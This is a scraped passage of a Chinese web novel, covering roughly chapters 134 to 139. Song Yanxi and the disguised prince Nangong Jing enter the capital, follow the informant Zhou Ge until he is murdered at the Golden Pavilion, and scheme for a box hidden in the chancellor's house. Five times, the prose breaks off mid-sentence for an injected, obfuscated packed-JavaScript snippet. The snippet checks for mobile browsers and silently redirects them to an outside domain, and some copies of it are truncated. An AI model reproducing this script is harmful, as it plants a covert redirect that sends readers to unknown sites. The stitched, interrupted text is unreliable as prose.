南宫景将**扔到林昊手中,道:“这面具虽能以假乱真,但戴久了终归不好。” “不戴面具,我怎么进城?” 那个国师可不是个省油的灯,这京城中应该还贴着抓捕她的通告吧。 “不如,我教你怎么进城?”南宫景突然靠近她。 宋颜夕不明所以。 正要发问,南宫景却已经搂着她的腰跳上了马。 “驾!” 他双腿夹着马肚子,马儿便如闪电一班冲了出去。 “姑娘!” 紫翎和春分想要追上去,却被林昊拦了下来。 “二位姑娘放心吧,我们家公子不会对你们姑娘做什么的。” 春分冷哼一声:“哼,我看你们公子就是个不要脸的登徒子,他刚刚可是把手都搂在我们姑娘腰上了。” 紫翎直接拔出腰间的短刀:“我这就去宰了那个登徒子。” 林昊见此,赶紧把她拦下:“我说你一个姑娘家家的,怎么动不动就喊打喊杀?我们公子怎么就成了登徒子了?人家夫妻俩,动作亲密点怎么了?” 他还指望着宋颜夕能帮他们王爷走出月容女帝遇害的伤痛呢。 这个时候,绝对不能让这两块黏皮糖跟上去破坏气氛。 果然,紫翎和春分一听这话,立刻停下脚步。 “你说什么?” “夫妻俩?” 林昊摸了摸鼻子:“你们姑娘没告诉你们吗?她跟我们家公子已经拜过堂了啊。” “什么?” 紫翎一把揪住他的衣领:“你最好是把话说清楚。” 另一边,南宫景已经带着宋颜夕来到了城门口。 “你确定,就这样进去?” 他们仍然坐在马上,而且,南宫景完全没有让她下马的意思。 宋颜夕此次回京的目的只有两个。 一是找到屠龙会的幕后首领,然后,灭了他。 二是找到装着黑铁矿线索的那个盒子,然后,偷了它。 但如今就这样进去的话,就算国师那边的事情能解决,还要面对丞相府那些不安好心的人。 她可不想兜兜转转又回到那个后宅里。 “嗯,就这么进去。” 南宫景哪儿会不明白她的想法,但就是因为知道她的心思,才会出此下策。 他绝不允许这个女人再逃离他的身边。 就算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447870|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要找巫黛报仇,也该由他来。 只有把人放在身边,才能保证她的安全。 “那你好歹把我放下马,你见过谁是骑马进城的?” 谁料,南宫景却把她箍得更紧了一些:“那今天,你能见到了。” “啊?” 下一刻,南宫景就带着他直接朝城门的方向冲了过去。 路上的人纷纷退让。 其中一个守城的小兵见此,立刻拿着**对准他们。 然而他的枪还没拿稳,后脑勺就挨了一个暴击。 “你小子不要命了?战王的坐骑也敢拦?” 小兵吓得瑟瑟发抖:“战,战王?” “王府的人早就交代过了,战王今日回城,骑的就是红鬃马。” “这就是战王吗?” 小兵眼中闪烁着激动的光,他终于看到活的战王了。 不过战王怎么和一个男人共乘一骑?而且那动作? 未免也太亲密了一些。 联想到先前的一些传闻,小兵立刻低下头。 他好像发现了什么了不得的事情。 “傻愣着干什么?还不快把枪收起来。” 南宫景带着宋颜夕穿过城门的时候,宋颜夕心中的猜测也得到了证实。 进了城之后,宋颜夕似笑非笑地看着南宫景。 “哟,何二哥面子不小啊。竟然能单枪匹马闯城门呢?该不会,你还有什么了不得的身份吧?” “宋姑娘不是早就猜到了吗?” 南宫景倒是坦荡。 经过这一番,他也想通了一些事。 与其遮遮掩掩,不如大方坦白。他相信,宋颜夕并不是那种小心眼的女人。 至于以前那些误会? 大不了,就让她欺负回去嘛。 “所以,你还真的是,王爷?” 南宫景没有否认:“有我这个王爷给你当靠山,宋姑娘如今在京中便是横着走都没问题。所以,宋姑娘打算怎么和我……” 话还没说完,却见宋颜夕看着他身后脸色一变。 “怎么了?” 南宫景正要回头,却被宋颜夕拉着躲到了一条巷子里。 “你……” “嘘,别说话。” 宋颜夕把他堵在墙上,直接捂住了他的嘴。 第134章:被宋娇娇发现 那一刻,两人挨得很近。 南宫景能够清楚地嗅到她身上淡淡的木兰香。 “世子,世子你等等我啊。” 耳边传来一道女声。 南宫景对其他女人的声音向来记不住,不过,看宋颜夕的表情,那女人应该是个熟人。 他静静靠在墙上,任由宋颜夕的手掌覆在他的唇上。 那边,宋娇娇已经追上柳如风。 “世子为何对我避如蛇蝎?难道,就因为我是宋彩衣的妹妹吗?世子放心,宋彩衣已经被逐出宋家了。我知道世子不喜宋彩衣才和她退婚,可我和她是不一样的,世子不妨考虑考虑……” 柳如风后退一步,和她保持距离:“宋四姑娘,请自重。” “世子,我是真心仰慕你的……” 眼见宋娇娇又要对他示爱,柳如风赶紧调转方向快步离去。 宋娇娇跺了跺脚,继续追了上去。 “这个宋娇娇,还真是虎啊。” 这才多久没见,她竟然已经敢在大街上对柳如风示爱了,是她离开的这段时间没人治她了吗? “不过柳如风的身体倒是恢复得不错,不愧是我亲手医治的病人。” 就在宋颜夕为自己的医术沾沾自喜的时候,南宫景终于拍了拍她的手背。 她这才意识到自己的手还盖在人家嘴上。 不仅如此,为了听清他们的对话,她现在几乎是整个人趴在南宫景身上。 “宋姑娘什么时候变得如此胆小,连宋娇娇都不敢见了?”南宫景问。 宋颜夕嗤笑一声:“我会怕她?” 她只是怕被宋娇娇撞见,影响接下来的行动罢了。 “话说回来,这城中怎么没有我通缉令?那神棍就这么放过我了?” 总觉得这事没这么简单呢。 南宫景挑眉:“你说呢?” “是你做的?你做了什么?” 南宫景牵着马朝前走去:“不过是给他找了些事情做而已。” 根据左翼留下的线索,他们很快就找到了周舸。 “他不是要把鲛珠献给屠龙会的大人物吗?怎么还逛起青楼了?” 周舸进京后,直接住进了京城最大的青楼——绮梦阁。 进了绮梦阁之后,他也不和人街头。整日和那些姑娘寻欢作乐。 左翼跟着他好几天,他却是一点行动计划都没有向左翼透露。 “你说,左翼会不会已经暴露了?”宋颜夕问。 南宫景摇头:“这可未必。周舸这个人行事缜密,或许,他只是在试探。” “看来,不能跟得太近啊。” 他们并没有跟进绮梦阁,而是坐在绮梦阁对面的茶楼里饮茶。 从他们这个角度看过去,正好能看到绮梦阁的大门。 “宋彩衣,竟然真的是你!” 他们正低声打着商量,包厢门却忽然被人一脚踹开了。 宋颜夕看向那人,忍不住扶额。 怎么还是被宋娇娇撞上了? “那天我就觉得街上那人像你,没想到今日又被我瞧见了。你这祸国妖孽,冒犯国师竟然还敢回来?走,跟我去天心阁。” 天心阁,是国师平日执勤的场所。 宋娇娇拉着宋颜夕就要往外走,结果,还没把宋颜夕拉起来,就有一道霸道的力量将她甩了出去。 这个时候,宋娇娇才看到包厢内还坐着一个陌生男人。 南宫景在包厢内并没有戴面具,是以,宋娇娇看到的是南宫景的真容。 那一刻,宋娇娇忽然觉得心跳得很快。 这个世界上怎么会有比安远侯世子还要俊俏的男人? “你是哪家的公子?”宋娇娇从地上爬起来,整了整衣裳走到南宫景面前。 南宫景甚至都没有看她,而是慢条斯理地擦了擦手。 “听闻宋府家教甚严,今日见了宋四姑娘,倒真是让我,刮目相看呢。” “公子知道我?” 大概是想到自己方才的言行,宋娇娇红着脸解释,“其实,我平时说话不这么大声的。” 一旁的宋颜夕看着宋娇娇的动作,忍不住笑出声来:“宋娇娇,你还真是见了好看的男子就开屏啊。” 宋娇娇脸色一变:“宋彩衣,你敢骂我?” 还没等宋颜夕开口,南宫景双手撑在桌上站了起来。 宋娇娇冷笑:“看到了吧,连这位公子都觉得你很没有礼貌。” 结果,她的话刚说完,就见南宫景将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不得不说,南宫景这人还真是不按套路出牌。 国师曾扬言要把宋颜夕处以火刑,他就真的在天心阁放了一把火。 而且,还是在国师的卧榻外放的。 看到那个头发胡子都被烧光的老头被人手忙脚乱地扛出来的时候,宋颜夕忍不住笑出声来。 “你就这样烧了天心阁,真不怕惹祸上身?” 南宫景伸出手在她额头上弹了一下:“你都说了我是王爷,还能怕他一个神棍?” 宋颜夕不满地眯起眼:“本姑娘的额头是你能弹的吗?” 本以为南宫景会出声反驳,却不想,他竟然直接将脑袋凑到她面前。 “是我的错,不如,让宋姑娘打回来?” 此时此刻,南宫景的脑袋和她只有一个拳头的距离。 阳光落在他脸上,衬得他嘴角的笑越发好看。 宋颜夕高高抬起的手忽然就落不下去了。 “本姑娘是那么小气的人吗?” 她轻咳一声,几乎是小跑着离开。 身后,南宫景看着她逃离的方向,嘴角的弧度越拉越大。 “你逃不掉的,月容。” 天心阁起火的消息很快在京中传开,更有传言,是国师做了十恶不赦之事,才会引来天罚。 不仅如此,第二天就有人敲响了大理石的鸣冤鼓,状告国师早年**越货、霸占良田、夺**女的事,并且拿出了确凿证据。 短短几日,那个受人追捧的国师就成了人人喊打的神棍。 “这个何二哥,还真有几把刷子啊。” 祥云客栈,宋颜夕一边听着紫翎的汇报,一边频频摇头。 这些证据肯定不是一朝一夕能得到的,可见那个男人在很久以前就已经着手对付国师。 “姑娘,您与何公子,当真……” 紫翎欲言又止。 宋颜夕端起杯子送到嘴边:“吞吞吐吐干什么?有什么话就问呗。” 紫翎像是下定了某种决心,走到宋颜夕面前问道:“姑娘当真已经与何公子拜堂成亲了,过不了多久,就会给何公子生一个白白胖胖的小子吗?” “噗……” 宋颜夕猛地吐出一口茶。 “你说什么?咳咳咳……” 因为被茶水呛到,宋颜夕剧烈咳嗽起来。 南宫景走进来的时候,见到的就是这一幕。 他迅速走到宋颜夕面前,动作自然的替她拍打着后背:“怎么这么不小心?多大的人了,喝水还能被呛到。” 一听南宫景的声音,宋颜夕更不淡定了。 她赶紧起身和他拉开距离:“我自己来就行,你离我远点?” 南宫景拍背的动作一顿。 不过他很快就收起情绪,半带调侃地问道:“这是怎么了?是在下什么地方得罪宋姑娘了?” “没有。” 宋颜夕有些不自然:“周舸那边有什么动静吗?” “嗯。” 南宫景在她坐过的地方坐下,做熟练地倒了一杯茶。 “左翼传来消息,周舸乔装离开了绮梦阁。” “可知他去了何处?” 南宫景将新倒的茶递到宋颜夕面前:“我的人已经跟上去了,很快就会传来消息。” 宋颜夕没有接过茶,而是转身朝自己的房间走去:“既然如此,我去换身衣服。” 南宫景捏着杯子,最终将杯中之水饮尽。 “你们刚才在说什么?”他问的,是紫翎。 紫翎将脑袋转过去不看他:“跟你有什么关系?” 南宫景:…… 所以,她们方才果然是在谈论他吧? 到底说了什么?竟然让那丫头反应这么大? 宋颜夕是个心大的人,穿好衣服出来之后就把这件事抛诸脑后。 反倒是南宫景始终在琢磨这件事,一路上都心不在焉的。 “今天的黄金楼还真是热闹啊,你说咱们能逮到那个‘大人物’吗?” 这已经是他们第三次来到黄金楼了,宋颜夕觉得,她与这地方也着实有缘得很。 今日的黄金楼比前两次还要更热闹几分。 刚走到门口,他们手中就被塞进了一个面具。 不仅是他们,每一个来客脸上都戴了面具。 今天,黄金楼有一场拍卖活动。 原先在这里做买卖的商人都已经撤了摊位,而在一楼最中心的那个位置,搭建起了一个台子。 往上几层便是看台了。 视野越好,“买座费”越高。 南宫景随手扔了一锭金子给那守门小厮,小厮便恭恭敬敬地把他们领到了三楼的至尊座。 “财大气粗啊王爷。” 落座后,宋颜夕朝南宫景竖起大拇指。 南宫景指了指下方:“你看,周舸在那儿。” 左翼根据宋颜夕的提示在周舸身上做了记号,虽然周舸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南宫景松手:“看来,你做过不少功课。” 底下的热闹还在继续。 看着看着,宋颜夕忽然拍着桌子站起来:“周舸不见了。” 第136章:新线索 南宫景倒是不紧不慢:“看出来了吗?” 宋颜夕:“那大胡子是周舸的人。” 之所以闹上这么一出,不过是为了故意制造混乱,好让周舸浑水摸鱼。 想到这儿,宋颜夕捏了捏拳头往外走。 “走,咱们也下去瞧瞧热闹。” 走到一楼的时候,那个大胡子已经被黄金楼的人拿下。 而他带来的那些人,则被黄金楼的护卫按着跪在地上。 白无双慢悠悠走到他面前,手中的扇子直接抵在他的下巴上:“我说过,在黄金楼**是要付出代价的。” 大胡子还在叫嚣:“这千机**就是假的,什么黄金楼的印记,都是你们编出来的。” 白无双并没有和他废话的打算,挥了挥扇子,立刻便有人上前剁下了那大胡子的右手。 大胡子的惨叫声响彻黄金楼。 “这个白无双,果然是人狠话不多。”宋颜夕评价。 似乎心有灵犀一般,话音刚落,白无双竟然朝他们这边看了过来。 见到宋颜夕,还朝她微微点头示意。 “二位便是咱们至尊包厢的贵客吧?真是抱歉,楼里来了几只硕鼠,扰了贵客的雅兴。” 大胡子被拖下去之后,白无双朝他们走了过来。 宋颜夕轻笑:“无妨无妨,就当是多看了一场戏。” “为了表示歉意,贵客今日的消费都由黄金楼买单。” 白无双拍了拍手,立刻有小厮捧着一个托盘过来。 “这是二位的买座费,全额退还。” 宋颜夕指了指那个托盘:“连买座费都退还给我们了?黄金楼做的可是亏本的买卖?” “非也非也。” 白无双摊开扇子:“二位是黄金楼最尊贵的客人,理应享受最周到的服务。若是因为那硕鼠而失礼了贵客,才真的是亏本的买卖呢。” 说完,白无双朝他们拱手:“今日拍品品相上佳,二位贵客不妨再看看?” 寒暄了几句之后,白无双便下去处理那大胡子的事了。 楼里很快恢复秩序,拍卖会继续进行。 至于那个大胡子的下场如何,根本无人关心。 “这个白无双,有点意思啊。”宋颜夕说道。 “别管他了,先找周舸。” 周舸虽然想浑水摸鱼,但林昊和紫翎一直都盯着他,所以,他们很轻易就找到了他。 此时此刻,周舸就在黄金楼三楼的某个包房里。 见到南宫景和宋颜夕,林昊、紫翎朝他们拱手。 “可知道里面是什么人?”宋颜夕问。 紫翎摇头:“对方戴了面具,很难判断。” 不仅如此,那包房门口还有人守着。 为了不打草惊蛇,她和林昊没敢动手。 “好,交给我来解决。” 宋颜夕从怀中掏出针包,还没来得及取出银针,针包就被一双大手夺了过去。 “我来。” 说完,南宫景已经精准无误地将银针射入了那两个守门小厮的体内。 那一刻,两个小厮顿时被封闭五感,像个木头人一样杵在那儿。 南宫景将针包塞回到宋颜夕手中:“走吧。” 宋颜夕没说什么,与他一起站在门口听着里面的动静。 “这是属下进献给尊上的宝物,还请尊使代为转交。” 屋内,周舸将那个装着鲛珠的盒子捧到一个黑子面具男面前。 面具男看了那盒子一眼,并未接过:“没想到周舵主还有这样的心思,怎么,想借这东西为自己脱罪吗?” 周舸脸上冷汗直流:“属下不敢。” “不敢?哼,我看你敢得很。” 面具男语气不善:“我问你,董昌捅下的娄子可都解决了?” “解决了解决了。” 周舸将头埋得更低了一些:“知情人已经全部灭口。属下保证,不会有人查到咱们头上。” “你确定,全都灭口了吗?” “确定。”周舸斩钉截铁。 “我看未必吧。” 面具男一步步走近,居高临下地看着他:“你,不妨仔细想想,还有没有幸存者?” 虽然没有明说,但周舸已经开始瑟瑟发抖:“尊使,属下对尊上忠心耿耿。绝对不会泄露尊上秘密。” 话还没说完,他忽然呼吸一窒。 面具男手中不知何时出现了一把**,此时此刻,那把**笔直地**了他的心口。 “你……咳咳咳……我对尊上一片忠心,你们,竟然,杀我灭口?” 刀上淬了毒,他一句话还没说完就已经倒在地上吐着黑血。 手中的盒子掉在地上,发出沉闷的声响。 面具男擦了擦手,随后将帕子重重甩在周舸脸上。 他的脚踩在那装着鲛珠的盒子上用力碾了碾,冷哼一声:“没用的废物。” 门外,宋颜夕和南宫景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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南宫景见她情绪有异,直接拉着她往回走。 “去哪儿啊?”宋颜夕问。 “不对,你拉我手干什么?” 宋颜夕尝试着抽回手,南宫景的力气却大得出奇。 “带你去个好地方。” 第137章:鹬蚌相争 南宫景直接带着宋颜夕出了城。 那是一片荒芜的草坪,因为正值寒冬腊月,举目望去都是一片枯黄。 “这就是你说的好地方?”宋颜夕问。 南宫景松开手,看向那一片金黄:“是啊,别看它现在其貌不扬。等到春日来临,这儿啊,可是花团锦簇。” “你想说什么?”宋颜夕直接看着他的眼睛。 南宫景与她对视:“这荒草如今这般萧瑟,可等来年开春,照样能从骨头缝里钻出新芽。便是被火烧了,根还扎在土里;枯得再透,春风一舔就能活过来。所以啊,我认为草木才是世间最坚韧所在。” “然后呢?”宋颜夕又问。 “草木尚且如此,更何况是人?区区栅栏,拦不住天上的雄鹰。宋姑娘觉得呢?” 宋颜夕垂眸浅笑:“虽然不知道你突然与我说这些做什么,不过,我承认你这话有几分道理。” 是啊,被巫黛阴了又如何? 上天既然给她重来一次的机会,她就一定会抓着这根须从地府爬上来。 总有一天,她会亲手夺回失去的一切。 见她眉眼间扬起的自信,南宫景勾了勾嘴角:“既然宋姑娘也觉得这话有道理,不如咱们做个约定。等到春暖花开之时,你我一同来欣赏这百花盛开之景,如何?” 宋颜夕扬了扬下巴:“倒,也不是不行。” 风乍起,地上掉落的枯草被卷起,正好落在宋颜夕的肩头。 南宫景替她弹去枯草,低声说了一句:“那就这么说定了,宋姑娘可不许反悔。” 宋颜夕往回走,南宫景立马跟上。 “元日就要到了,宋姑娘去我府上过年如何?” “哟,你这闲散王爷在上京城还有府邸呢?” “闲散王爷?” 南宫景脚步一顿。 她难道是误会了什么? 宋颜夕看了他一眼:“你怎么这个表情?身份被看穿,不好意思了?你自己都说了,一时的成败不算什么。” “其实,我不是......” “我知道,何二哥你自尊心强。我又不会笑话你,还跟我遮掩什么?” 宋颜夕一百年说,一边在他胳膊上拍了一下:“不过我是真看不出来你这么能装呢?想必连皇帝也被你骗过去了吧。静安王?” 静安王? 南宫景哭笑不得,原来,这丫头是把他错认成那家伙了。 “你怎知我是静安王?” “我会分析啊。” 宋颜夕与他说道,“这东越的年轻王爷也就那么几个,但像你这般闲散的,除了那个因病被送到江南封地的静安王,还能有谁?” “我就不能是战王吗?他从边境回来后,不也是闲赋在家?” 宋颜夕想都没想就否认了:“不可能。” “怎么不可能?” “你没他这么讨厌。” 南宫景:...... 他是该高兴还是,不高兴呢? “怎么这个表情?我这是夸你呢。” 南宫景:“那我还得多谢宋姑娘抬爱了。” “好说好说。” 南宫景还真的在上京城置办了个新宅子。没过几天就把宋颜夕接了过去。 宋颜夕倒是不矫情,不仅住进去,还给自己挑了间朝向极好的屋子。 住下后才发现,南宫景就住在她对门。 “早啊宋姑娘。” 隔着一个小花坛,南宫景挥手和她打招呼。 还没等宋颜夕开口,紫翎已经挡在她面前,一脸警惕地看着对面那个笑得春风得意的男子。 南宫景眉头微皱,这小护卫,着实是有些碍眼。 宋颜夕可不管南宫景怎么想,接过春风递过来的披风就直接出门了。 她得想办法混进柳园看看,又或者,直接接近南宫宴。 但是那个男人......不好对付。 想到上次的交锋,宋颜夕陷入沉思。 她该怎么做才能毫无痕迹地接近他呢? “我劝你放弃你的想法。” 南宫景不知何时跟了上来。 他今日没有易容,也没戴面具,并肩和宋颜夕走在一起。 而紫翎呢,则被林昊拦在后方。 前两日下了雪,屋檐上尚有积雪未化,他便撑了把水墨伞挡在宋颜夕头上。远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那东西找到了吗?” 谈完楚王之事,国师招来另外一个黑衣人。 那人头上戴着帷帽,恭恭敬敬站在下方:“属下又翻了一遍丞相府,都没找到那盒子。” 国师冷哼一声:“这老狐狸,挺会藏啊。” “属下觉得,咱们是否应该先转移铁矿?若是那盒子被战王先找到,咱们就......” 国师摇了摇头:“不可轻举妄动。战王府的人日日都盯着本座,若是咱们先动了,必然会让他揪住尾巴。” 如今他处于被动状态,最好的应对之策就是,敌不动我不动。 “可是那盒子里的东西。” “此事不急。” 国师一边捋着胡子,一边说:“依本座的观察,宋章现在还不知道那盒子里的秘密,咱们还有时间。” 想了想,他又说吩咐道:“继续派人盯着丞相府,若宋章有何异动,立刻来报。” ...... “那个老神棍能相信你递上的证据吗?” 别院里,宋颜夕和南宫景坐在廊檐下听雪煮茶。 东越的冬比起西菱更显湿冷,越是接近年关,雪便下得越频繁。 南宫景往炉子里加了几块炭:“他会信的。” 宋颜夕不知道的是,国师和楚王之间早有嫌隙,而这,也是他们一直留着国师的原因。 既不能彻底拔除南宫宴这个毒瘤,给他留个对手,时不时给他添个堵也是极好的。 “王爷很自信嘛。” “你就等着看好戏吧,楚王府怕是会热闹得很。” 结果,还没等到楚王府的好戏,丞相府那边倒是先热闹起来了。 捅出篓子的,是曾经和宋颜夕闹了些不愉快的宋诚。 据说,还是因为一个姑娘闹出的风流韵事。 “宋诚把人家吏部尚书的儿子打断了腿?现在被关进刑部了?”宋颜夕吃着瓜果问道。 紫翎:“是啊,据说宋丞相亲自去吏部尚书家中求和,都被赶出来了。” “这个吏部尚书,不得了啊。” 宋章可是文臣之首,那吏部尚书就真敢把人轰出来? “还不是仗着自己是受害者吗。不过宋丞相脾气也不小,当场就黑着脸离开了。走之前还放下狠话,若是那吏部尚书不撤诉,他有的是办法让他混不下去。” “宋章真是这么说的?” 依宋颜夕的观察,那宋章不像是会当面和人撕破脸的人啊。 就算他真的是这么想的,定然也不会当面说出来让人家抓住错处。 二人正说着话,林昊却敲响了他们的房门。 “你怎么来了?” 因为南宫景的关系,紫翎对林昊的态度也不是很好,每次见了他都没什么好脸色。 林昊摸了摸鼻子:“我家王爷让我来问问宋姑娘,府中的守岁宴该如何安排?” “这种琐事,何须劳烦我们姑娘?” “这可是一年一次的守岁宴啊,自然得由主母操持。” “走走走,谁是你们家主母?我们姑娘说了,和你们王爷拜堂就是一场合约,不作数的。” 林昊是被紫翎直接推出去的,走远了还能听到他们俩的争吵声。 宋颜夕扯了扯嘴角,紫翎这丫头怎么回事,怎么就对这事如此敏感? 不过她说的也对,这劳什子守岁宴,她可不感兴趣。 她感兴趣的是,能不能从宋诚这件事入手,从宋章口中套出那个盒子的下落。 但,她又不能做得太明显,以免引起宋章的怀疑。 正想着,却见南宫景从窗户上翻了进来。 宋颜夕:“你翻窗作甚?” 南宫景拍了拍手上的灰:“没办法,你家小护卫看得太紧。” 说着,他已经在宋颜夕对面坐下:“说起来,我还是头一回在自家翻墙呢。” “你是故意让林昊支走紫翎的吧?” 南宫景不置可否。 “不过守岁宴的事,也的确是我想问的。” 他知道西菱和东越守岁的习惯不同,是以才会来征求她的意见。 这是他们第一次一起守岁,他希望给她足够的仪式感。 “该怎么来就怎么来呗。”宋颜夕不以为意。 南宫景:“你的意思是,随我安排?” “不过这个了。我问你啊,宋丞相和礼部尚书的事,你知道吗?” “你对宋诚的事感兴趣?” “我是对那个盒子感兴趣。” “你想怎么做?”南宫景问。 宋颜夕朝他勾了勾手,南宫景附耳过去。二人一阵低语。 “你确定,宋章会为了宋诚答应你的条件?” 宋颜夕摸着下巴:“好歹也是他亲儿子,他没道理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15465757|165591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不答应啊。” “需要我做什么吗?” “要摆平吏部尚书,可能要借用一下你静安王的身份。” 南宫景将身子往后一靠:“借用身份不难,不过,你也知道我这个静安王在朝中说话没什么分量。就怕那林举鹏不给我面子。” 林举鹏,是吏部尚书的名字。 宋颜夕咋舌:“你竟然,混得这么差吗?” 好歹也是皇帝的兄弟,区区一个吏部尚书,也敢不给他面子? 南宫景叹了一口气:“若非如此,我又何必装病远遁呢。这朝堂之中啊,多的是豺狼虎豹。” 宋颜夕盯着他,半信半疑:“是有豺狼虎豹不假,不过,你也没这么弱吧?何二哥,你该不会是不想帮忙,借故推脱吧?” 南宫景回看着她:“在宋姑娘心中,我就是这种人吗?” 宋颜夕重重点头:“对。” “既然你这么看我,那我也不能辜负宋姑娘的期待。这样吧,若我陪你走这一遭,宋姑娘便答应我一个条件,如何?” 宋颜夕:“你是在跟我讨价还价?别忘了,还是你先来找我谈合作的。” “话虽如此,但宋姑娘对此事如此上心。应该也存了私心吧。” 南宫景冲她笑了笑:“我不会过问你的私心,但这条件嘛……” “行,我答应。” 宋颜夕双手撑在桌上看着他:“说出你的条件。” 几个时辰后,续着长白胡须,身披道袍,手持拂尘的宋颜夕敲响了丞相府的大门。 “哪儿来的神棍,滚滚滚。” 因为国师的缘故,丞相府对道士十份厌恶。 还没等她开口,守门的小厮就直接赶人。 宋颜夕一把将拂尘甩在那小厮脸上:“哪儿来的小子,如此不识礼数。去告诉你家大人,本道有法子救你家二公子。” 小厮从门后取出一把扫把,二话不说就往宋颜夕身上招呼:“我家大人最厌恶你们这些神棍了,赶紧走。” 宋颜夕不怒反笑,一边走,一边朗声说道:“今日未时,你家二公子必有血光之灾。你家大人若是改变主意,便到城隍庙寻我。” 未时,刑部大牢。 看守宋诚的衙役忽然倒地不醒。 听到声音,躺在草垛子上闭目养神的宋诚猛地睁开眼。 一把尖刀赫然出现在他眼前。 第139章:尚书府 丞相府的人找上门时,宋颜夕正在城隍庙里和那颗青色珠子大眼瞪小眼。 没错,就在不久之前,这珠子竟然长出了一只眼睛。 黝黑的眼睛嵌在青色的珠子里,乍一看,还有些骇人。 不过宋颜夕好歹也是从阎罗殿爬上来的,除了最开始的惊讶之外,现在已经和这颗珠子和平共处了。 “为什么跟着我?”宋颜夕问。 珠子绕着她飞了一圈,然后就在她面前上蹿下跳。 也不知道它到底在比划什么。 眼前一只眼珠子一直在晃,弄得宋颜夕头疼不已。 她索性大手一挥,直接把它拍墙上了。 宋颜夕的力气不算大,但这珠子本身的破坏力很强。 它不过是被拍在墙上而已,竟生生将墙砸出五道裂痕。 丞相府的人就是在此时进入城隍庙的。 “道长果然是世外高人啊。” 说话的是之前那个守门小厮。 他的眼睛一眨不眨地盯着那墙上的五道裂缝,对宋颜夕的态度和之前判若两人。 “怎么,这会儿不说本道是神棍了?”宋颜夕语气淡淡。 “道长勿怪,先前是小的有眼不识泰山。还请道长救救我家二公子。” 宋颜夕顺势起身,手中的拂尘再次拍在他的脸上:“如此看来,你家二公子的血光之灾是,应验了?” “正如道长所预言,我家二公子在今日未时,于刑部**了。若非我家二公子有武艺傍身,此刻怕是已经……” 那小厮说着,就朝她跪了下去。 宋颜夕顺势应下,提了几个条件之后就随他回相府了。 到了相府才知道,做主将她请回来的,是姜淑萍。 “你就是那位能预知未来的道长?” 姜淑萍打量着宋颜夕,眼中闪过几分警惕之色。 宋颜夕直接与她对视:“夫人若是不信本道,又何必差人请我?” “我没有不信道长的意思,只是道长与我想象中有些不同。” 姜淑萍将宋颜夕上上下下看了个遍,总觉得这人的身形有些眼熟。 “道长说有法子救我儿子,可是真的?”姜淑萍又问道。 宋颜夕捋了捋胡子:“自然。不过,本道救人可有条件的。” “有何要求,道长尽管说。” “我要的东西,夫人怕是给不起。不如,夫人先问问丞相的意思。” 姜淑萍怔住。 很快,她就继续开口:“丞相公务繁忙,已将此事全权交给本夫人,有何要求,道长与本夫人说便可。” 宋颜夕观察着姜淑萍的表情。 看样子,是姜淑萍擅作主张将她请来的。 “既然如此,本道便却之不恭了。我们方外之人救人本该不求回报。但日前,本道给自己算了一卦。本道命中有一劫,若要渡过此劫,需一物。而这东西,便在宋丞相手中。” 宋颜夕扯了个理由,向姜淑萍抛出那梅花古董盒子。 听到那盒子时,姜淑萍的脸上并没有太过惊讶的表情。 “道长要的便只是那个盒子?” 宋颜夕点头:“只是盒子。” “好,我答应道长。若你能救出诚儿,那盒子我定当双手奉上。” “夫人爽快。” 宋颜夕弹了弹拂尘:“既然如此,本道便先告辞了。” “道长这便走了?你还没说怎么救人呢。”姜淑萍站起身。 宋颜夕却只是轻笑一声:“夫人莫急,山人自有妙计。你且等着便是。” 离开的时候,正好看到宋婉儿匆匆朝这边走来。 宋颜夕看了她一眼,脚下的动作未停。 擦肩而过的那一刻,宋婉儿的脚步一顿。 “父亲最讨厌神棍了,府上哪里来的道士?” 等她想看清楚的时候,面前早就没有了宋颜夕的身影。 “怎么样?” 离开丞相府之后,南宫景在拐角处叫住了她。 